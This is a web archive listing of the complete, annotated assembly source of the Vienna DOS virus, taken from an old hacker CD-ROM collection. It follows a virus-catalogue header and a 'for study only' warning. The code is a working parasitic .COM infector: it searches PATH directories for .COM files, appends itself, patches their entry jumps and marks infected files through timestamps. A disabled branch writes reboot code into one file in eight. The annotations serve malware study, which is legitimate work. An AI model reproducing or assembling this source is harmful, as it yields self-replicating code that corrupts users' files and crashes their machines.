home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / virus / virusprogramming / vienna.asm < prev    next >
Assembly Source File  |  1996-04-16  |  26KB  |  699 lines
  1. Virus Name:  Vienna
  2. Aliases:     Austrian, Unesco, DOS-62, DOS-68, 1-in-8, 648
  3. V Status:    Common
  4. Discovered:  April, 1988
  5. Symptoms:    .COM growth; system reboots; system hangs
  6. Origin:      Austria
  7. Eff Length:  648 bytes
  8. Type Code:   PNCK - Parasitic Non-Resident .COM Infector
  9. Detection Method:  ViruScan, F-Prot, VirexPC, AVTK, CPAV, Sweep, UTScan,
  10.            VBuster, VNet, Panda, IBMAV, Vi-Spy, DrVirus, NAV 3.0+,
  11.            NShld, LProt, CPAV/N, Sweep/N, Innoc, NProt, AVTK/N,
  12.            NAV/N
  13. Removal Instructions:  CleanUp, F-Prot, VirexPC, NAV, or
  14.                delete infected files
  15.  
  16.  
  17. ;*****************************************************************************
  18. ;
  19. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
  20. ;
  21. ; This file is for the purpose of virus study only! It should not be passed
  22. ;  around among the general public. It will be very useful for learning
  23. ;  how viruses work and propagate. But anybody with access to an assembler
  24. ;  can turn it into a working virus and anybody with a bit of assembly coding
  25. ;  experience can turn it into a far more malevolent program than it already
  26. ;  is. Keep this code in responsible hands!
  27. ;
  28. ; This program does not check wether or not the .COM file to be infected is
  29. ;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
  30. ;  file extension, but does a double-check by looking for a signature that
  31. ;  indicates wether or not a file REALLY is an .EXE file. The virus writer
  32. ;  apparently did not know this. This virus will take any .EXE file that's
  33. ;  been renamed to a .COM file and try to infect it, obscuring the signature
  34. ;  that marks it as an .EXE file. When the infected file is then run, the
  35. ;  virus code will run first, and then the machine will try to run the .EXE
  36. ;  header data as though it were code. This is likely to crash the machine, and
  37. ;  since some later versions of DOS itself contain such misnamed .EXE files,
  38. ;  it's likely to happen.
  39. ;
  40. ;******************************************************************************
  41.  
  42. ;******************************************************************************
  43. ;It seems that MASM won't always willingly translate ordinary assembly code
  44. ; into the byte-for-byte replacement of the code in the Vienna Virus. Since
  45. ; MASM is just a 2 pass assembler, it doesn't always have enough information to
  46. ; figure out the size of an instruction when it needs to. To be safe, it makes
  47. ; its guess on the high side and then adds in unrequested NOPS if it needs to
  48. ; pad out the space it allocated. Many of the NOPs in this virus are the result
  49. ; of this. But the virus writer seems to have done a bit of hand modification
  50. ; to the virus, and as a result, one instance where we'd expect a NOP, there
  51. ; isn't one. This macro allows us to mimic that instance, where an ordinary
  52. ; MOV CX,xx would otherwise have worked fine.
  53. ;******************************************************************************
  54.  
  55. MOV_CX  MACRO   X
  56.         DB      0B9H
  57.         DW      X
  58. ENDM
  59.  
  60.  
  61. CODE    SEGMENT
  62.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  63.         ORG     $+0100H
  64.  
  65. ;*****************************************************************************
  66. ;Start out with a JMP around the remains of the original .COM file, into the
  67. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  68. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  69. ;*****************************************************************************
  70.  
  71. VCODE:  JMP     virus
  72.  
  73.  
  74. ;This was the rest  of the original .COM file. Tiny and simple, this time
  75.  
  76.         NOP
  77.         NOP
  78.         NOP
  79.         NOP
  80.         NOP
  81.         NOP
  82.         NOP
  83.         NOP
  84.         NOP
  85.         NOP
  86.         NOP
  87.         NOP
  88.         NOP
  89.         NOP
  90.         NOP
  91.  
  92.  
  93. ;************************************************************
  94. ;              The actual virus starts here
  95. ;************************************************************
  96.  
  97. v_start equ     $
  98.  
  99.  
  100. virus:  PUSH    CX
  101.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  102.                                         ; The 2nd and 3rd bytes get modified.
  103.         CLD                             ;Pointers will be auto INcremented
  104.         MOV     SI,DX                   ;Access data as offset from SI
  105.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  106.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  107.         MOV     CX,3
  108.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  109.         MOV     SI,DX                   ;Keep SI pointing to the data area
  110.  
  111. ;*************************************************************
  112. ;                   Check the DOS version
  113. ;*************************************************************
  114.  
  115.         MOV     AH,30H
  116.         INT     21H
  117.  
  118.         CMP     AL,0                    ;0 means it's version 1.X
  119.  
  120.         JNZ     dos_ok                  ;For version 2.0 or greater
  121.         JMP     quit                    ;Don't try to infect version 1.X
  122.  
  123.  
  124. ;*************************************************************
  125. ;  Here if the DOS version is high enough for this to work
  126. ;*************************************************************
  127.  
  128. dos_ok: PUSH    ES
  129.  
  130.  
  131. ;*************************************************************
  132. ;               Get DTA address into ES:BX
  133. ;*************************************************************
  134.  
  135.         MOV     AH,2FH
  136.         INT     21H
  137.  
  138. ;*************************************************************
  139. ;                    Save the DTA address
  140. ;*************************************************************
  141.  
  142.  
  143.         MOV     [SI+old_dta],BX
  144.         MOV     [SI+old_dts],ES         ;Save the DTA address
  145.  
  146.         POP     ES
  147.  
  148. ;*************************************************************
  149. ;        Set DTA to point inside the virus data area
  150. ;*************************************************************
  151.  
  152.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  153. ;       NOP                             ;MASM will add this NOP here
  154.         ADD     DX,SI                   ;Compute DTA address
  155.         MOV     AH,1AH
  156.         INT     21H                     ;Set new DTA to inside our own code
  157.  
  158.  
  159.         PUSH    ES
  160.         PUSH    SI
  161.         MOV     ES,DS:2CH
  162.         MOV     DI,0                    ;ES:DI points to environment
  163.  
  164. ;************************************************************
  165. ;        Find the "PATH=" string in the environment
  166. ;************************************************************
  167.  
  168. find_path:
  169.         POP     SI
  170.         PUSH    SI                      ;Get SI back
  171.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  172.         LODSB
  173.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  174.         REPNZ   SCASB                   ;Search for first character
  175.         MOV     CX,4
  176.  
  177. ;************************************************************
  178. ;       Loop to check for the next four characters
  179. ;************************************************************
  180.  
  181. check_next_4:
  182.         LODSB
  183.         SCASB
  184.         JNZ     find_path               ;If not all there, abort & start over
  185.         LOOP    check_next_4            ;Loop to check the next character
  186.  
  187.         POP     SI
  188.         POP     ES
  189.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  190.         MOV     DI,SI
  191.         ADD     DI,wrk_spc              ;File name workspace
  192.         MOV     BX,SI                   ;Save a copy of SI
  193.         ADD     SI,wrk_spc              ;Point SI to workspace
  194.         MOV     DI,SI                   ;Point DI to workspace
  195.         JMP     SHORT   slash_ok
  196.  
  197.  
  198. ;**********************************************************
  199. ;     Look in the PATH for more subdirectories, if any
  200. ;**********************************************************
  201.  
  202. set_subdir:
  203.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  204.         JNZ     found_subdir            ;If not, there are more subdirectories
  205.         JMP     all_done                ;Else, we're all done
  206.  
  207.  
  208. ;**********************************************************
  209. ;    Here if there are more subdirectories in the path
  210. ;**********************************************************
  211.  
  212. found_subdir:
  213.         PUSH    DS
  214.         PUSH    SI
  215.         MOV     DS,ES:2CH               ;DS points to environment segment
  216.         MOV     DI,SI
  217.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  218.         ADD     DI,wrk_spc              ;DI points to file name workspace
  219.  
  220.  
  221. ;***********************************************************
  222. ;      Move subdirectory name into file name workspace
  223. ;***********************************************************
  224.  
  225. move_subdir:
  226.         LODSB                           ;Get character
  227.         CMP     AL,';'                  ;Is it a ';' delimiter?
  228.         JZ      moved_one               ;Yes, found another subdirectory
  229.         CMP     AL,0                    ;End of PATH string?
  230.         JZ      moved_last_one          ;Yes
  231.         STOSB                           ;Save PATH marker into [DI]
  232.         JMP     SHORT   move_subdir
  233.  
  234. ;******************************************************************
  235. ; Mark the fact that we're looking through the final subdirectory
  236. ;******************************************************************
  237.  
  238. moved_last_one:
  239.         MOV     SI,0
  240.  
  241.  
  242. ;******************************************************************
  243. ;              Here after we've moved a subdirectory
  244. ;******************************************************************
  245.  
  246. moved_one:
  247.         POP     BX                      ;Pointer to virus data area
  248.         POP     DS                      ;Restore DS
  249.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  250.         NOP
  251.  
  252. ;******************************************************************
  253. ;             Make sure subdirectory ends in a "\"
  254. ;******************************************************************
  255.  
  256.         CMP     CH,'\'                  ;Ends with "\"?
  257.         JZ      slash_ok                ;If yes
  258.         MOV     AL,'\'                  ;Add one, if not
  259.         STOSB
  260.  
  261.  
  262. ;******************************************************************
  263. ;     Here after we know there's a backslash at end of subdir
  264. ;******************************************************************
  265.  
  266. slash_ok:
  267.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  268.         MOV     SI,BX                   ;Restore SI
  269.         ADD     SI,f_spec               ;Point to "*.COM"
  270.         MOV     CX,6
  271.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  272.  
  273.         MOV     SI,BX
  274.  
  275.  
  276. ;*******************************************************************
  277. ;                 Find first string matching *.COM
  278. ;*******************************************************************
  279.  
  280.         MOV     AH,4EH
  281.         MOV     DX,wrk_spc
  282. ;       NOP                             ;MASM will add this NOP here
  283.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  284.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  285.         INT     21H
  286.  
  287.         JMP     SHORT   find_first
  288.  
  289.  
  290. ;*******************************************************************
  291. ;              Find next ASCIIZ string matching *.COM
  292. ;*******************************************************************
  293.  
  294. find_next:
  295.         MOV     AH,4FH
  296.         INT     21H
  297.  
  298. find_first:
  299.         JNB     found_file              ;Jump if we found it
  300.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  301.  
  302. ;*******************************************************************
  303. ;                      Here when we find a file
  304. ;*******************************************************************
  305.  
  306. found_file:
  307.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  308.         AND     AL,1FH                  ;Mask to remove all but seconds
  309.         CMP     AL,1FH                  ;62 seconds -> already infected
  310.         JZ      find_next               ;If so, go find another file
  311.  
  312.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  313.         JA      find_next               ;If too long, find another one
  314.  
  315.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  316.         JB      find_next               ;Then go find another one
  317.  
  318.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  319.         PUSH    SI                      ;Save SI
  320.         ADD     SI,dta_nam              ;Point SI to file name
  321.  
  322. ;********************************************************************
  323. ;                Move the name to the end of the path
  324. ;********************************************************************
  325.  
  326. more_chars:
  327.         LODSB
  328.         STOSB
  329.         CMP     AL,0
  330.         JNZ     more_chars              ;Move characters until we find a 00
  331.  
  332.  
  333. ;********************************************************************
  334. ;                        Get File Attributes
  335. ;********************************************************************
  336.  
  337.         POP     SI
  338.         MOV     AX,OFFSET 4300H
  339.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  340. ;       NOP                             ;MASM will add this NOP here
  341.         ADD     DX,SI
  342.         INT     21H
  343.  
  344.  
  345.         MOV     [SI+old_att],CX         ;Save the old attributes
  346.  
  347.  
  348. ;********************************************************************
  349. ;         Rewrite the attributes to allow writing to the file
  350. ;********************************************************************
  351.  
  352.         MOV     AX,OFFSET 4301H         ;Set attributes
  353.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  354.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  355. ;       NOP                             ;MASM will add this NOP here
  356.         ADD     DX,SI                   ;Point to \path\name
  357.         INT     21H
  358.  
  359. ;********************************************************************
  360. ;                Open Read/Write channel to the file
  361. ;********************************************************************
  362.  
  363.         MOV     AX,OFFSET 3D02H         ;Read/Write
  364.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  365. ;       NOP                             ;MASM will add this NOP here
  366.         ADD     DX,SI                   ;Point to \path\name
  367.         INT     21H
  368.  
  369.         JNB     opened_ok               ;If file was opened OK
  370.         JMP     fix_attr                ;If it failed, restore the attributes
  371.  
  372.  
  373. ;*******************************************************************
  374. ;                        Get the file date & time
  375. ;*******************************************************************
  376.  
  377. opened_ok:
  378.         MOV     BX,AX
  379.         MOV     AX,OFFSET 5700H
  380.         INT     21H
  381.  
  382.         MOV     [SI+old_tim],CX         ;Save file time
  383.         MOV     [SI+ol_date],DX         ;Save the date
  384.  
  385. ;*******************************************************************
  386. ;                        Get current system time
  387. ;*******************************************************************
  388.  
  389.         MOV     AH,2CH
  390.         INT     21H
  391.  
  392.  
  393.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  394.  
  395. ;*******************************************************************
  396. ; The following line is a change from the original virus. Originally
  397. ;  the following line would be JNZ seven_in_eight. This would ruin
  398. ;  about 1/8 of all .COM files infected, while the other 7/8 would
  399. ;  be left workable, but infected. For the purpose of studying a
  400. ;  live virus, the changed line is not so damaging.
  401. ;*******************************************************************
  402.         JMP     SHORT   seven_in_eight
  403.  
  404.  
  405. ;*******************************************************************
  406. ; The special "one in eight" infection. If the above line were in
  407. ;  its original form, this code would be run 1/8 of the time, and
  408. ;  rather than appending a copy of this virus to the .COM file, the
  409. ;  file would get 5 bytes of code that reboot the system when the
  410. ;  .COM file is run.
  411. ;*******************************************************************
  412.  
  413.  
  414.         MOV     AH,40H                  ;Write to file
  415.         MOV     CX,5                    ;Five bytes
  416.         MOV     DX,SI
  417.         ADD     DX,reboot               ;Offset of reboot code in data area
  418.         INT     21H
  419.  
  420.         JMP     SHORT   fix_time_stamp
  421.  
  422.         NOP
  423.  
  424.  
  425. ;******************************************************************
  426. ;      Here's where we infect a .COM file with this virus
  427. ;******************************************************************
  428.  
  429. seven_in_eight:
  430.         MOV     AH,3FH
  431.         MOV     CX,3
  432.         MOV     DX,first_3
  433. ;       NOP                     ;MASM will add this NOP here
  434.         ADD     DX,SI
  435.         INT     21H             ;Save first 3 bytes into the data area
  436.  
  437.         JB      fix_time_stamp  ;Quit, if read failed
  438.  
  439.         CMP     AX,3            ;Were we able to read all 3 bytes?
  440.         JNZ     fix_time_stamp  ;Quit, if not
  441.  
  442.  
  443. ;******************************************************************
  444. ;              Move file pointer to end of file
  445. ;******************************************************************
  446.  
  447.         MOV     AX,OFFSET 4202H
  448.         MOV     CX,0
  449.         MOV     DX,0
  450.         INT     21H
  451.  
  452.         JB      fix_time_stamp  ;Quit, if it didn't work
  453.  
  454.         MOV     CX,AX           ;DX:AX (long int) = file size
  455.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  456.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  457.  
  458.         ADD     CX,OFFSET c_len_y
  459.         MOV     DI,SI           ;Point DI to virus data area
  460.         SUB     DI,OFFSET c_len_x
  461.                                 ;Point DI to reference vir_dat, at start of pgm
  462.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  463.  
  464.  
  465. ;*******************************************************************
  466. ;                    Write virus code to file
  467. ;*******************************************************************
  468.  
  469.         MOV     AH,40H
  470.  
  471.         MOV_CX  virlen                  ;Length of virus, in bytes
  472.  
  473.         MOV     DX,SI
  474.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  475.                                         ; address of virus code in memory
  476.         INT     21H
  477.  
  478.         JB      fix_time_stamp          ;Jump if error
  479.  
  480.         CMP     AX,OFFSET virlen        ;All bytes written?
  481.         JNZ     fix_time_stamp          ;Jump if error
  482.  
  483.  
  484. ;**********************************************************************
  485. ;                Move file pointer to beginning of the file
  486. ;**********************************************************************
  487.  
  488.         MOV     AX,OFFSET 4200H
  489.         MOV     CX,0
  490.         MOV     DX,0
  491.         INT     21H
  492.  
  493.         JB      fix_time_stamp          ;Jump if error
  494.  
  495.  
  496. ;**********************************************************************
  497. ;              Write the 3 byte JMP at the start of the file
  498. ;**********************************************************************
  499.  
  500.         MOV     AH,40H
  501.         MOV     CX,3
  502.         MOV     DX,SI                   ;Virus data area
  503.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  504.         INT     21H
  505.  
  506.  
  507. ;**********************************************************************
  508. ;       Restore old file date & time, with seconds modified to 62
  509. ;**********************************************************************
  510.  
  511. fix_time_stamp:
  512.         MOV     DX,[SI+ol_date]         ;Old file date
  513.         MOV     CX,[SI+old_tim]         ;Old file time
  514.         AND     CX,OFFSET 0FFE0H
  515.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  516.         MOV     AX,OFFSET 5701H
  517.         INT     21H
  518.  
  519.  
  520. ;**********************************************************************
  521. ;                              Close File
  522. ;**********************************************************************
  523.  
  524.         MOV     AH,3EH
  525.         INT     21H
  526.  
  527.  
  528. ;**********************************************************************
  529. ;                     Restore Old File Attributes
  530. ;**********************************************************************
  531.  
  532. fix_attr:
  533.         MOV     AX,OFFSET 4301H
  534.         MOV     CX,[SI+old_att]         ;Old Attributes
  535.         MOV     DX,wrk_spc
  536. ;       NOP                             ;MASM will add this NOP
  537.         ADD     DX,SI                   ;DX points to \path\name in workspace
  538.         INT     21H
  539.  
  540.  
  541. ;**********************************************************************
  542. ;              Here when it's time to close it up & end
  543. ;**********************************************************************
  544.  
  545. all_done:
  546.         PUSH    DS
  547.  
  548.  
  549. ;**********************************************************************
  550. ;                         Restore old DTA
  551. ;**********************************************************************
  552.  
  553.         MOV     AH,1AH
  554.         MOV     DX,[SI+old_dta]
  555.         MOV     DS,[SI+old_dts]
  556.         INT     21H
  557.  
  558.         POP     DS
  559.  
  560.  
  561. ;*************************************************************************
  562. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  563. ;  in since the address in a real JMP 100 is an offset, and the offset
  564. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  565. ;  stack, we can RET to address 0100H just as though we JMPed there.
  566. ;**********************************************************************
  567.  
  568. quit:
  569.         POP     CX
  570.         XOR     AX,AX
  571.         XOR     BX,BX
  572.         XOR     DX,DX
  573.         XOR     SI,SI
  574.         MOV     DI,OFFSET 0100H
  575.         PUSH    DI
  576.         XOR     DI,DI
  577.  
  578.         RET     0FFFFH
  579.  
  580. ;************************************************************************
  581. ;The virus data starts here. It's accessed off the SI register, per the
  582. ; comments as shown
  583. ;************************************************************************
  584.  
  585. vir_dat EQU     $
  586.  
  587.  
  588.         ;Use this with (SI + old_dta)
  589. olddta_ DW      0                       ;Old DTA offset
  590.  
  591.         ;Use this with (SI + old_dts)
  592. olddts_ DW      0                       ;Old DTA segment
  593.  
  594.         ;Use this with (SI + old_tim)
  595. oldtim_ DW      0                       ;Old Time
  596.  
  597.         ;Use this with (SI + ol_date)
  598. oldate_ DW      0                       ;Old date
  599.  
  600.         ;Use this with (SI + old_att)
  601. oldatt_ DW      0                       ;Old file attributes
  602.  
  603.  
  604.  
  605. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  606.  
  607. first3_ EQU     $
  608.         INT     20H
  609.         NOP
  610.  
  611.  
  612.  
  613. ;Here's where the new JMP instruction is worked out
  614.  
  615.         ;Use this with (SI + jmp_op)
  616. jmpop_  DB      0E9H                    ;Start of JMP instruction
  617.  
  618.         ;Use this with (SI + jmp_dsp)
  619. jmpdsp_ DW      0                       ;The displacement part
  620.  
  621.  
  622.  
  623. ;This is the type of file  we're looking to infect. (SI + f_spec)
  624.  
  625. fspec_  DB      '*.COM',0
  626.  
  627.         ;Use this with (SI + path_ad)
  628. pathad_ DW      0                       ;Path address
  629.  
  630.         ;Use this with (SI + nam_ptr)
  631. namptr_ DW      0                       ;Pointer to start of file name
  632.  
  633.         ;Use this with (SI + env_str)
  634. envstr_ DB      'PATH='                 ;Find this in the environment
  635.  
  636.         ;File name workspace (SI + wrk_spc)
  637. wrkspc_ DB      40h dup (0)
  638.  
  639.         ;Use this with (SI + dta)
  640. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  641.  
  642.         ;Use this with (SI + dta_tim)
  643. dtatim_ DW      0,0                     ;Time stamp in DTA
  644.  
  645.         ;Use this with (SI + dta_len)
  646. dtalen_ DW      0,0                     ;File length in the DTA
  647.  
  648.         ;Use this with (SI + dta_nam)
  649. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  650.  
  651.         ;Use this with (SI + reboot)
  652. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  653.  
  654.  
  655. lst_byt EQU     $                       ;All lines that assemble into code are
  656.                                         ;  above this one
  657.  
  658.  
  659. ;*****************************************************************************
  660. ;The virus needs to know a few details about its own size and the size of its
  661. ; code portion. Let the assembler figure out these sizes automatically.
  662. ;*****************************************************************************
  663.  
  664. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  665. codelen =       vir_dat - v_start       ;Length of virus code, only
  666. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  667. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  668.  
  669.  
  670. ;*****************************************************************************
  671. ;Because this code is being appended to the end of an executable file, the
  672. ; exact address of its variables cannot be known. All are accessed as offsets
  673. ; from SI, which is represented as vir_dat in the below declarations.
  674. ;*****************************************************************************
  675.  
  676. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  677. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  678. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  679. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  680. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  681. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  682. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  683. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  684. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  685. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  686. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  687. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  688. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  689. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  690. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  691. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  692. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  693. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  694.  
  695.         CODE    ENDS
  696. END     VCODE
  697.  
  698.  
  699.